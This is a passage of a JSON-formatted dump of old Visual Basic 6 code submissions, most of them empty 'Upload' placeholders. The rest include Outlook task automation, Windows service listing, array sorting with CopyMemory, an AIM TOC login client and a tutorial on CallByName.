1,"id":26745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":18508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14881,"LineNumber":1,"line":"'Simple Outlook Task View/Add Code\n'Troy Blake - Logan's Roadhouse, Inc.\nPrivate Sub InitForm()\n 'Loads current task to dropdown, then adds\n 'a task for John Smith. John gets the task\n 'sent to him via Outlook.\n Dim oApp as Outlook.Application\n Dim oNspc as NameSpace\n Dim oItm as TaskItem\n Dim myItem as TaskItem\n Set oApp = CreateObject(\"Outlook.Application\")\n Set oNspc = oApp.GetNamespace(\"MAPI\")\n For Each oItm in oNspc.GetDefaultFolder(olFolderTasks).Items\n 'Loop through all tasks and show subject \n 'in dropdown.\n With Me.cboTasklist\n .AddItem (oItm.Subject)\n End With\n Next oItm\n oNspc.GetDefaultFolder(olFolderTasks).Items.Add\n Set myItem = oApp.CreateItem(olTaskItem)\n 'Create a new task\n With myItem\n .Subject = \"Subject\"\n .Assign = \"Assign\"\n .Body = \"Task Body\"\n .PercentComplete = 10\n 'Set due date for tomorrow\n .DueDate = DateAdd(\"d\",1,Date)\n .ReminderSet = True\n .ReminderTime = \"9:00 AM\"\n 'Outlook name of person to get task\n .Recipients.Add \"John Smith\"\n .Close (olSave)\n End With\n 'Send the task (like email)\n myItem.Send\n Set myItem = Nothing\n Set oItm = Nothing\n Set oNspc = Nothing\n Set oApp = Nothing\nEnd Sub\nPrivate Sub Form_Load()\n 'Call out sample sub at form load\n InitForm\nEnd Sub\n"},{"WorldId":1,"id":15040,"LineNumber":1,"line":"Option Explicit\nPublic Function Services() As Boolean\n \n Dim oCol As New Collection\n Dim oSysInfo As New ActiveDs.WinNTSystemInfo\n Dim oComp As ActiveDs.IADsComputer\n Dim oSvc As ActiveDs.IADsServiceOperations\n Dim sCompName As String\n \n On Error Resume Next\n Services = False\n sCompName = \"WinNT://\" & oSysInfo.ComputerName & \",computer\"\n Set oComp = GetObject(sCompName)\n oComp.Filter = Array(\"Service\")\n For Each oSvc In oComp\n Debug.Print \"Service display name = \" & oSvc.DisplayName\n Debug.Print \"Service name = \" & oSvc.Name\n Debug.Print \"Service account name = \" & oSvc.ServiceAccountName\n Debug.Print \"Service executable = \" & oSvc.Path\n Debug.Print \"Current status = \" & oSvc.Status & vbCrLf\n If oSvc.Status = 4 Then\n 'Show only running services\n cboService.AddItem oSvc.Name\n End If\n Next\n Set oSvc = Nothing\n Set oComp = Nothing\n Set oSysInfo = Nothing\n Services = True\nEnd Function\nPrivate Sub cmdStop_Click()\n Dim oSysInfo As New ActiveDs.WinNTSystemInfo\n Dim oComp As ActiveDs.IADsComputer\n Dim oSvc As ActiveDs.IADsServiceOperations\n Dim sCompName As String\n Dim sSvc As String\n sSvc = cboService.Text\n sCompName = \"WinNT://\" & oSysInfo.ComputerName & \",computer\"\n Set oComp = GetObject(sCompName)\n Set oSvc = oComp.GetObject(\"Service\", sSvc)\n oSvc.Stop\n Set oSvc = Nothing\n Set oComp = Nothing\n Set oSysInfo = Nothing\nEnd Sub\nPrivate Sub Form_Load()\n Services\nEnd Sub"},{"WorldId":1,"id":5469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13958,"LineNumber":1,"line":"Please see zip file for the tutorial. (It's in Word 95 format)."},{"WorldId":1,"id":12667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25992,"LineNumber":1,"line":"dim rs as ADODB.Recordset\ndim db as ADODB.Connection\ndim xDataPath as String\ndim xPeoplePicture as String\nxDataPath = App.Path & \"\\Database\\Test.MDB\"\ndb.CursorLocation = adUseClient\ndb.Open \"PROVIDER=MSDataShape;Data PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=\" & xDataPath\nSet rs = New Recordset\nrs.Open \"SELECT People_Name, People_Picture FROM People ORDER BY People_Name;\", db, adOpenStatic, adLockOptimistic\nrs.Movefirst\nxPeoplePicture = rs!People_Picture ' \"\\SAMPLE.JPG\" <-Sample Contents of rs recordset\nSet DataReport1.DataSource = rs\nSet DataReport1.Sections(3).Controls(\"Image1\").Picture = LoadPicture( App. Path & xPeoplePicture) \nDataReport1.Show \n"},{"WorldId":1,"id":28552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24055,"LineNumber":1,"line":"Function IsExpired(ExpireDate As Date, ExpireTime As Date) As Boolean\n Dim lngDayDiff As Long\n Dim lngTimeDiff As Long\n \n ' Using DateDiff, a function unique to VB6, we check the\n ' difference between the current date (extracted from Now)\n ' and the expiration date.\n lngDayDiff = DateDiff(\"d\", Now, ExpireDate)\n \n ' If the difference is a negative that means that we are\n ' past the expired date so of course it is expired.\n If lngDayDiff < 0 Then\n GoTo YesExpired\n \n ' If the difference is a zero that means we are ON the\n ' date of expiration. We check the time for a difference\n ' to determine if the time has expired.\n ElseIf lngDayDiff = 0 Then\n \n ' Get the time difference. Note that we use TimeValue(Now)\n ' instead of just Now because it will return the exact\n ' time, not the date/time.\n lngTimeDiff = DateDiff(\"n\", TimeValue(Now), ExpireTime)\n \n ' If the time difference is a negative, we are past it so\n ' the date is expired.\n If lngTimeDiff <= 0 Then\n GoTo YesExpired\n \n ' Otherwise (if we are on the time, or before it) then\n ' we are not yet expired.\n Else\n GoTo NoExpired\n End If\n \n ' Otherwise (if we are on the date, or before it) then\n ' we are not yet expired.\n Else\n GoTo NoExpired\n End If\n \nYesExpired:\n IsExpired = True\n Exit Function\nNoExpired:\n IsExpired = False\n Exit Function\nEnd Function"},{"WorldId":1,"id":29254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24342,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Sub CopyMemory _\n Lib \"kernel32\" _\n Alias \"RtlMoveMemory\" ( _\n lpDest As Any, _\n lpSource As Any, _\n ByVal cbCopy As Long _\n )\nPrivate Sub Command1_Click()\n ' Sort an array with CopyMemory()\n \n Dim i As Integer\n Dim str_Unsorted As String, str_Sorted As String\n \n ' Populate some sample data\n Dim vArray(25) As String\n vArray(0) = \"EFGHIJKLMNOPQRSTUVWXYZABCD\"\n vArray(1) = \"RSTUVWXYZABCDEFGHIJKLMNOPQ\"\n vArray(2) = \"PQRSTUVWXYZABCDEFGHIJKLMNO\"\n vArray(3) = \"DEFGHIJKLMNOPQRSTUVWXYZABC\"\n vArray(4) = \"IJKLMNOPQRSTUVWXYZABCDEFGH\"\n vArray(5) = \"ZABCDEFGHIJKLMNOPQRSTUVWXY\"\n vArray(6) = \"HIJKLMNOPQRSTUVWXYZABCDEFG\"\n vArray(7) = \"LMNOPQRSTUVWXYZABCDEFGHIJK\"\n vArray(8) = \"STUVWXYZABCDEFGHIJKLMNOPQR\"\n vArray(9) = \"TUVWXYZABCDEFGHIJKLMNOPQRS\"\n vArray(10) = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n vArray(11) = \"CDEFGHIJKLMNOPQRSTUVWXYZAB\"\n vArray(12) = \"VWXYZABCDEFGHIJKLMNOPQRSTU\"\n vArray(13) = \"MNOPQRSTUVWXYZABCDEFGHIJKL\"\n vArray(14) = \"FGHIJKLMNOPQRSTUVWXYZABCDE\"\n vArray(15) = \"JKLMNOPQRSTUVWXYZABCDEFGHI\"\n vArray(16) = \"YZABCDEFGHIJKLMNOPQRSTUVWX\"\n vArray(17) = \"XYZABCDEFGHIJKLMNOPQRSTUVW\"\n vArray(18) = \"OPQRSTUVWXYZABCDEFGHIJKLMN\"\n vArray(19) = \"BCDEFGHIJKLMNOPQRSTUVWXYZA\"\n vArray(20) = \"GHIJKLMNOPQRSTUVWXYZABCDEF\"\n vArray(21) = \"KLMNOPQRSTUVWXYZABCDEFGHIJ\"\n vArray(22) = \"NOPQRSTUVWXYZABCDEFGHIJKLM\"\n vArray(23) = \"WXYZABCDEFGHIJKLMNOPQRSTUV\"\n vArray(24) = \"QRSTUVWXYZABCDEFGHIJKLMNOP\"\n vArray(25) = \"UVWXYZABCDEFGHIJKLMNOPQRST\"\n \n ' Here's the unsorted array\n For i = 0 To UBound(vArray)\n str_Unsorted = str_Unsorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Unsorted\n \n QuickSortMe vArray\n \n ' Here's the sorted array\n For i = 0 To UBound(vArray)\n str_Sorted = str_Sorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Sorted\n \n \nEnd Sub\nSub BubbleSortMe(varArray() As String)\n Dim i As Long, j As Long\n Dim l_Count As Long\n Dim l_Hold As Long\n \n ' Typical sorting routine\n l_Count = UBound(varArray)\n For i = 0 To l_Count\n For j = i + 1 To l_Count\n If varArray(i) > varArray(j) Then\n ' Here's the juice!\n SwapStrings varArray(i), varArray(j)\n End If\n Next\n Next\nEnd Sub\nSub QuickSortMe(varArray() As String, Optional l_First As Long = -1, Optional l_Last As Long = -1)\n \n Dim l_Low As Long\n Dim l_Middle As Long\n Dim l_High As Long\n \n Dim v_Test As Variant\n \n If l_First = -1 Then\n l_First = LBound(varArray)\n End If\n \n If l_Last = -1 Then\n l_Last = UBound(varArray)\n End If\n \n If l_First < l_Last Then\n l_Middle = (l_First + l_Last) / 2\n v_Test = varArray(l_Middle)\n l_Low = l_First\n l_High = l_Last\n \n Do\n While varArray(l_Low) < v_Test\n l_Low = l_Low + 1\n Wend\n While varArray(l_High) > v_Test\n l_High = l_High - 1\n Wend\n If (l_Low <= l_High) Then\n SwapStrings varArray(l_Low), varArray(l_High)\n l_Low = l_Low + 1\n l_High = l_High - 1\n End If\n Loop While (l_Low <= l_High)\n \n If l_First < l_High Then\n QuickSortMe varArray, l_First, l_High\n End If\n \n If l_Low < l_Last Then\n QuickSortMe varArray, l_Low, l_Last\n End If\n \n End If\nEnd Sub\n\nSub SwapStrings(pbString1 As String, pbString2 As String)\n Dim l_Hold As Long\n CopyMemory l_Hold, ByVal VarPtr(pbString1), 4\n CopyMemory ByVal VarPtr(pbString1), ByVal VarPtr(pbString2), 4\n CopyMemory ByVal VarPtr(pbString2), l_Hold, 4\nEnd Sub"},{"WorldId":1,"id":24287,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Sub CopyMemory _\n Lib \"kernel32\" _\n Alias \"RtlMoveMemory\" ( _\n lpDest As Any, _\n lpSource As Any, _\n ByVal cbCopy As Long _\n )\nPrivate Sub Command1_Click()\n ' Sort an array with CopyMemory()\n Dim i As Integer\n Dim str_Unsorted As String, _\n str_Sorted As String\n \n ' Populate some sample data\n Dim vArray(25) As String\n vArray(0) = \"EFGHIJKLMNOPQRSTUVWXYZABCD\"\n vArray(1) = \"RSTUVWXYZABCDEFGHIJKLMNOPQ\"\n vArray(2) = \"PQRSTUVWXYZABCDEFGHIJKLMNO\"\n vArray(3) = \"DEFGHIJKLMNOPQRSTUVWXYZABC\"\n vArray(4) = \"IJKLMNOPQRSTUVWXYZABCDEFGH\"\n vArray(5) = \"ZABCDEFGHIJKLMNOPQRSTUVWXY\"\n vArray(6) = \"HIJKLMNOPQRSTUVWXYZABCDEFG\"\n vArray(7) = \"LMNOPQRSTUVWXYZABCDEFGHIJK\"\n vArray(8) = \"STUVWXYZABCDEFGHIJKLMNOPQR\"\n vArray(9) = \"TUVWXYZABCDEFGHIJKLMNOPQRS\"\n vArray(10) = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n vArray(11) = \"CDEFGHIJKLMNOPQRSTUVWXYZAB\"\n vArray(12) = \"VWXYZABCDEFGHIJKLMNOPQRSTU\"\n vArray(13) = \"MNOPQRSTUVWXYZABCDEFGHIJKL\"\n vArray(14) = \"FGHIJKLMNOPQRSTUVWXYZABCDE\"\n vArray(15) = \"JKLMNOPQRSTUVWXYZABCDEFGHI\"\n vArray(16) = \"YZABCDEFGHIJKLMNOPQRSTUVWX\"\n vArray(17) = \"XYZABCDEFGHIJKLMNOPQRSTUVW\"\n vArray(18) = \"OPQRSTUVWXYZABCDEFGHIJKLMN\"\n vArray(19) = \"BCDEFGHIJKLMNOPQRSTUVWXYZA\"\n vArray(20) = \"GHIJKLMNOPQRSTUVWXYZABCDEF\"\n vArray(21) = \"KLMNOPQRSTUVWXYZABCDEFGHIJ\"\n vArray(22) = \"NOPQRSTUVWXYZABCDEFGHIJKLM\"\n vArray(23) = \"WXYZABCDEFGHIJKLMNOPQRSTUV\"\n vArray(24) = \"QRSTUVWXYZABCDEFGHIJKLMNOP\"\n vArray(25) = \"UVWXYZABCDEFGHIJKLMNOPQRST\"\n \n ' Here's the unsorted array\n For i = 0 To UBound(vArray)\n str_Unsorted = str_Unsorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Unsorted\n \n ' Sort the array\n SortMe vArray\n \n ' Here's the sorted array\n For i = 0 To UBound(vArray)\n str_Sorted = str_Sorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Sorted\n \n \nEnd Sub\nSub SortMe(varArray() As String)\n Dim i As Long, j As Long\n Dim l_Count As Long\n Dim l_Hold As Long\n \n ' Typical sorting routine\n l_Count = UBound(varArray)\n For i = 0 To l_Count\n For j = i + 1 To l_Count\n If varArray(i) > varArray(j) Then\n ' Here's the juice!\n SwapStrings varArray(i), varArray(j)\n End If\n Next\n Next\nEnd Sub\nSub SwapStrings(pbString1 As String, pbString2 As String)\n Dim l_Hold As Long\n CopyMemory l_Hold, ByVal VarPtr(pbString1), 4\n CopyMemory ByVal VarPtr(pbString1), ByVal VarPtr(pbString2), 4\n CopyMemory ByVal VarPtr(pbString2), l_Hold, 4\nEnd Sub\n"},{"WorldId":1,"id":30302,"LineNumber":1,"line":"Private Sub Command1_Click()\nWinsock1.Connect \"aimexpress.oscar.aol.com\", 5190\nEnd Sub\nFunction AIM_Algorithum(ByVal sUser As String, ByVal sPass As String) As String\n'This is the code that generates the 8 or 9 digit number on the end of\n'the logon packet. Uses the Screen Name and Password to make it\nDim sUserChar As Long, sVar As Long\n DoEvents: sUser = Left(LCase(sUser), 1)\n DoEvents: sUserChar = Int(Asc(sUser) - 96)\n \n DoEvents: sVar = Int(sUserChar * 7696) + 738816\n DoEvents: sBase = Int(sUserChar * 746512)\n DoEvents: sVal = Int(Asc(Left(LCase(sPass), 1)) - 96) * sVar\n \n AIM_Algorithum = Int(Int(sVal) - sVar) + Int(sBase + 71665152)\n \nEnd Function\nFunction AIM_EncryptPW(ByVal sPass As String) As String\n'This will take the password, and encrypt it using the word \"Tic/Toc\"\nDim vTable() As Variant, sString As String\nDim sLoop As Long, sHex As String\nvTable = Array(\"84\", \"105\", \"99\", \"47\", \"84\", \"111\", \"99\")\nsString = \"0x\"\nFor sLoop = 0 To Len(sPass) - 1\n sHex = Hex(Asc(Mid(sPass, sLoop + 1, 1)) Xor CLng(vTable(sLoop Mod 7)))\n \n If CLng(\"&H\" & sHex) < 16 Then\n sString = sString & \"0\"\n End If\n \n sString = sString & sHex\nNext\nAIM_EncryptPW = LCase(sString)\nEnd Function\nPrivate Sub Form_Load()\nEnd Sub\nPrivate Sub Winsock1_Connect()\nWinsock1.SendData \"FLAPON\" & vbCrLf & vbCrLf\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim Text As String\n'Get the data from the server.\nWinsock1.GetData Text, vbString\n'Place all the incomming text, into text3, so you\n'can see what all is going on. I replaced character\n'0, with ├ÿ so that you can see the text with the\n'null character.\nText3 = Text3 & vbCrLf & Replace(Text, Chr(0), \"├ÿ\")\n'If the second character is character 1, it means it\n'wants the log on information. You will only get that\n'character at log on, and never again once you're\n'connected.\nIf Asc(Mid(Text, 2, 1)) = 1 Then\n 'Send the log on information\n Winsock1.SendData Chr(42) & Chr(1) & Chr(1) & Chr(0) & Chr(0) & Chr(8 + Len(Text1)) & Chr(0) & Chr(0) & Chr(0) & Chr(1) & Chr(0) & Chr(1) & Chr(0) & Chr(Len(Text1)) & Trim(Text1)\n Winsock1.SendData Chr(42) & Chr(2) & Chr(1) & Chr(1) & Chr(0) & Chr(Len(Text1) + Len(AIM_EncryptPW(Trim(Text2))) + 90) & \"toc2_signon login.oscar.aol.com 29999 \" & Trim(Text1) & \" \" & AIM_EncryptPW(Trim(Text2)) & \" english-US \" & Chr(34) & \"TIC:\\$Revision: 1.83 \\$\" & Chr(34) & \" 160 \" & AIM_Algorithum(Text1, Text2) & Chr(0)\n \nEnd If\nEnd Sub"},{"WorldId":1,"id":11188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14759,"LineNumber":1,"line":"Introduction:\nWhen I was browsing PSC some time ago, I found a scripting language.\nSomebody commented on it that it was using many \"If...Then...End if\" structures to process all the commands.\nWell there's an alternative to this in VB6 (only!), and it will give you less work, and increases your programs overall speed!\nThis alternative is called... CallByName\nCallByName allows programmers to call any function, sub or property by the name of it.\nI'm going to demostrate this with a small, and easy understandable math program. This math program will be very simple, but it will effectively show you how to use CallByName. I've attached the source code as a zip file, so you can easily see how to use CallByName without having to build the enitre sample app from this tutorial!\nThis tutorial shows how you can call a method(Function/Sub) and how to change a property.\n<H2>Tutorial 1 - Methods</H2>\nOkay let's get started. In this program we are going to use the following controls:\n┬á2 Text boxes: Named txtValue1 and txtValue2 \n┬á1 Combo box: Named cmbAction \n┬á1 Label: Named lblResult \n┬á1 command button: Named cmdExecute\nI've named the form \"frmMain\". This is standard for all my projects. it isn't really necassary for this project though.\nThe placement of the controls does not really matter.\nOkay double click on the form so that you get the code window, and add the following:\n<code>Public Sub Form_Load() \n\n ┬áWith cmbAction \n ┬á ┬á .AddItem \"Multiply\" \n ┬á ┬á .AddItem \"Minus\" \n ┬á ┬á .AddItem \"DivideBy\" \n ┬á ┬á .AddItem \"Plus\" \n ┬á ┬á .ListIndex = 0 \n \n ┬á End With \nEnd Sub</code>\nThe items added to the combobox are the \"mathematical actions\" we're going to use in our sample application.\n<CODE>Listindex = 0</CODE> only sets the first item as an active item.\nNow, we have to make our command button \"cmdExecute\" do something. So, add the following code:\n<CODE>\nPrivate SubcmdExecute_Click() \n ┬álblResult.Caption = CallByName(frmMain, cmbAction.Text, VbMethod, txtValue1, txtValue2) \nEnd Sub\n</CODE>\nThis is the important part, especially for this tutorial. That's why I'm going to explain it very detailed. \nThe syntax of CallByName is as following:\n<DL>\n<DT><CODE>Function CallByName(Object As Object, ProcName As String, CallType As VbCallType, Args() As Variant)</CODE></DT>\n<DD>\n <CODE>Object as Object</CODE>: This is the object that contains the property/procedure you're calling by name. \n\t So if you want to use the \"Left\" property of a command button, the object should be the command button. \n\t If it's a procedure in a form, you need to put the form name here.\n <CODE>ProcName As String</CODE>: When calling CallByName you have to specify the property/procedure you're going \tto call or modify, in this sub. So if you want to call the \"Left\" property of a command button, you need to put \t\"Left\" here.\n <CODE>CallType as VbCallType</CODE>: Specify's the type of thing you're calling. A Property(VbLet,VbGet,VbSet) or a \tprocedure(VbMethod). In this example we are going to use VbMethod, because we are going to call functions.\n <CODE>Args() As Variant</CODE>: This is not a real array, like you might think. You just have to put all the values you \twant to use after each other (with \",\" as separator). They have to match the Method/Property you're calling! In our example we are going to use functions which need to values. txtValue1 and txtValue2. Now if you're going to change a property \"Left\" of a command button, you just specify one new value, which is going to be the new \"Left\" value.\n</DD>\n</DL>\n\nI hope you all understand this. It looks complex the first time, but with some code, you're going to find this very easy! \nWe're now going to put our mathematical code into the program. It's very simple math. \nI'm not all too good in Math, but the main point is that you understand how to use CallByName\nAdd the following code: \nPublic Function Multiply(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áMultiply = lngValue1 * lngValue2 \nEnd Function\nPublic Function Minus(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áMinus = lngValue1 - lngValue2 \nEnd Function\nPublic Function DivideBy(lngValue1 As Long, lngValue2 As Long) As Long \n ┬á┬áDivideBy = lngValue1 / lngValue2 \nEnd Function\nPublic Function Plus(lngValue1 As Long, lngValue2 As Long)As Long \n ┬á┬áPlus = lngValue1 + lngValue2 \nEnd Function\nWell, those functions should be self explaining. They require two values, and then they do the action represented by the Function's name. \nGot everything ready? Okay run the program [F5]. \nEnter a number in both textboxes. Very high numbers will probably cause an \"Overflow\", so don't enter malicious numbers :o)\n\nNow, when you press the command button the action you have chosen in the combo box will be executed! \nOnly by using the name of the Procedure, and the CallByName method.\n<H2>Tutorial 2 - Properties</H2>\nCallByName can also be used for setting and retrieving properties. I'll show you how you do that. The source code is also available in the zipfile I earlier mentioned.\nThe sample application will change the caption of the form (Let), enable/disable a timer (Get/Let), and move a command button around the form. \nIn this tutorial, we need the following controls: \n1 Form: Named FrmMain. ScaleMode = VbPixel (3)! \n2 Command buttons: Named cmdChangeCaption and cmdEnableTimer \n1 Timer: Named tmrMove. Interval = 100 \nPlacement does not really matter.\nWe are going to change the Form's caption first. Add the following code to the command button named \"cmdChangeCaption\":\n<CODE>Private Sub cmdChangeCaption_Click() \n ┬á┬áCallByName frmMain, \"Caption\", VbLet, \"CallByName - Tutorial 2\" \nEnd Sub</CODE>\nSo what does this code do? Well, when you click on the command button, it will change the caption of the form to \"CallByName - Tutorial 2\". VbLet means that you set the property of an object.\nNow where are going to add some code that might look complex, but in fact it really isn't. \nAdd the following code to cmdEnableTimer:\n<CODE>Private Sub cmdEnableTimer_Click() \n ┬á┬áCallByName tmrMove, \"Enabled\", VbLet, Not CallByName(tmrMove, \"Enabled\", VbGet) \nEnd Sub</CODE>\nThis code sets the property \"Enabled\" of the timer. The code is made very efficient, because when you press again it will set the propery to the inverse of the current state. True-False-True-False, and so on... It retrieves the property using CallByName using \"VbGet\".\nAt the moment, the timer does nothing. So let's change that. Add the following code to \"tmrMove\":\n<CODE>Private Sub tmrMove_Timer() \n ┬á┬áCallByName cmdEnableTimer, \"Left\", VbLet, CInt(Rnd(frmMain.ScaleWidth)) * 100 \n ┬á┬áCallByName cmdEnableTimer, \"Top\", VbLet, CInt(Rnd(frmMain.ScaleHeight)) * 100 \nEnd Sub</CODE>\nThis code will put the command button on random places (in your form), after you press \"Enable Timer\". \nIf you click again on the button. (Or press enter when it has the focus) the Timer will disable. Pressing it again will enable it, and so forth...\nI hope you enjoyed my first tutorial! If there are any comments please do not hesitate to write them down!\nCheers, \nAlmar Joling \n<A HREF=\"mailto:ajoling@quadrantwars.com\">ajoling@quadrantwars.com</A> \n<A HREF=\"http://www.quadrantwars.com\">http://www.quadrantwars.com</A> \n(Completed on 27/01/2001)\n"},{"WorldId":1,"id":28960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25929,"LineNumber":1,"line":"Something weird happened with the original tutorial. Probably because of the tables. \nI don't like to do this, but I really had to upload this awesome article at my website:\n<A HREF=\"http://www.quadrantwars.com/optimizations.htm\">http://www.quadrantwars.com/optimizations.htm</A>\nPlease vote if you like it. I'm sure you do!"},{"WorldId":1,"id":34214,"LineNumber":1,"line":"The tutorial is too big to put here... That's why I've included it with the zipfile, including sample source files, and the files I used to build the HTML help file.\n\nGuys, this tutorial was removed two days ago, probably by the hacker who has visitted this tutorial. Ian Could not restore the tutorial, so can you guys please vote for this another time? It had about 30+ Excellent votes =-(\n\nThanks, \nAlmar 